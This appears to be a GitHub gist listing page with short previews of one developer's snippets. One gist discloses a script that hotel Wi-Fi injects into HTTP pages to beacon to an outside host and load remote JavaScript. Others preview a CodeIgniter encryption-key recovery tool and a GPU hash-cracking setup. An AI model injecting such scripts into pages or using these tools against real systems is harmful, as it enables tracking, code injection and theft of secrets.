Skip to content

Instantly share code, notes, and snippets.

Avatar

Benjamin Manns benmanns

View GitHub Profile
@benmanns
benmanns / pod-hotels.html
Last active Oct 25, 2019
This gets injected on HTTP sites if you visit Pod Hotels (and pay $11.48 facility fee for Wi-Fi).
View pod-hotels.html
<script>!(function (rw, proxy_id, url, host, rotw_uid) {if (window.self !== window.top) {return;}while (url.indexOf("/") > -1) {url = url.replace("/", "_");}var routier_time = parseInt(((new Date()).getTime() - (new Date()).getTimezoneOffset() * 60000) / 1000);(new Image()).src = host + "/get/scriptInjected/" + url + "," + routier_time + "," + proxy_id + "," + rotw_uid;var js = document.createElement("script");var ts = new Date().getTime();js.src = host + "/AppProvider/getApps/" + url + "," + proxy_id + "," + rotw_uid + "," + ts;document.getElementsByTagName("head")[0].appendChild(js);document.dispatchEvent(new Event("rotwStart"));})(window._rw = (window._rw || {}), window._rw.proxy_id = "CZ3732JCVX", btoa(document.URL), window._rw.host = "https://mig.ton14k2ewq.com", window._rw.rotw_uid = "169314784150924");</script>
View party-wave.rb
message = <<-END
aaa h
a a a h
a a a hhh eee r rrr eee
a a a h h ee ee rr ee ee
aa a h h e r e
aaaa h h eee r eee
END
lines = message.split("\n").map(&:rstrip)
View rubocop_bisect_spec.rb
# frozen_string_literal: true
RSpec.describe RuboCop::Cop::Style::SymbolArray, :config do
subject(:cop) { described_class.new(config) }
before do
# Reset data which is shared by all instances of SymbolArray
described_class.largest_brackets = -Float::INFINITY
end
@benmanns
benmanns / characters.json
Last active May 1, 2017
A list of all the IDN characters
View characters.json
[
"0",
"1",
"2",
"3",
"4",
"5",
"6",
"7",
"8",
View desired-sql-to-kafka.md
CREATE TABLE widgets (id INT PRIMARY KEY, name VARCHAR);

CREATE TABLE prices (id INT PRIMARY KEY, widget_id INT, price INT);
INSERT INTO widgets VALUES (1, 'foo'), (2, 'bor'), (3, 'baz');
@benmanns
benmanns / ci-key-recover.py
Created Feb 21, 2016 — forked from kivikakk/ci-key-recover.py
recover key from CodeIgniter homegrown crypto
View ci-key-recover.py
#!/usr/bin/env python3
# CodeIgniter pre-2.2 non-mcrypt Encrypt reverser.
# Finds the key by partially-known plaintext attack.
# Written by Yuki Izumi. Placed in the public domain.
import codecs
import re
import sys
import time
View keybase.md

Keybase proof

I hereby claim:

  • I am benmanns on github.
  • I am benmanns (https://keybase.io/benmanns) on keybase.
  • I have a public key whose fingerprint is 49B1 8D7D 251F 2A59 F0C9 F4DF 3D90 6CDA 1E81 84E7

To claim this, I am signing this object:

@benmanns
benmanns / traceroute-cdn-optimizely-com.txt
Last active Aug 29, 2015
Results from a traceroute to cdn.optimizely.com
View traceroute-cdn-optimizely-com.txt
> traceroute cdn.optimizely.com
traceroute to e6640.g.akamaiedge.net (23.211.231.25), 64 hops max, 52 byte packets
1 192.168.1.1 (192.168.1.1) 2.211 ms 0.889 ms 1.726 ms
2 74-95-15-238-sfba.hfc.comcastbusiness.net (74.95.15.238) 1.489 ms 1.761 ms 1.754 ms
3 50.161.76.1 (50.161.76.1) 23.504 ms 16.465 ms 15.216 ms
4 te-0-3-0-9-sur04.sanmateo.ca.sfba.comcast.net (68.86.248.5) 12.384 ms 15.238 ms 16.453 ms
5 te-0-1-0-4-ar01.oakland.ca.sfba.comcast.net (69.139.199.70) 15.997 ms
te-0-1-0-2-ar01.oakland.ca.sfba.comcast.net (68.85.154.110) 17.584 ms
te-0-7-0-19-sur03.sanmateo.ca.sfba.comcast.net (68.87.194.153) 17.361 ms
@benmanns
benmanns / hash-setup.sh
Created Oct 29, 2013
This sets up an Amazon cluster GPU instance for hash cracking with oclHashcat (CUDA). You must use the Ubuntu 12.04.x AMI for HVM. The most recent is Ubuntu Server 12.04.3 LTS for HVM Instances - ami-b93264d0.
View hash-setup.sh
sudo apt-get update -y && sudo apt-get upgrade -y
wget http://developer.download.nvidia.com/compute/cuda/repos/ubuntu1204/x86_64/cuda-repo-ubuntu1204_5.5-0_amd64.deb
sudo dpkg -i cuda-repo-ubuntu1204_5.5-0_amd64.deb
sudo apt-get update -y && sudo apt-get install -y nvidia-settings nvidia-current-dev nvidia-modprobe cuda
cat >> ~/.profile <<END
export CUDA_HOME=/usr/local/cuda-5.5
export CUDA_ROOT=/usr/local/cuda-5.5
@benmanns
benmanns / echo_runner.rb
Created Sep 16, 2013
An example of running goworker workers from the command line rather than Redis.
View echo_runner.rb
`go run echo_wrapper.go echo_worker.go TESTING` # => [TESTING]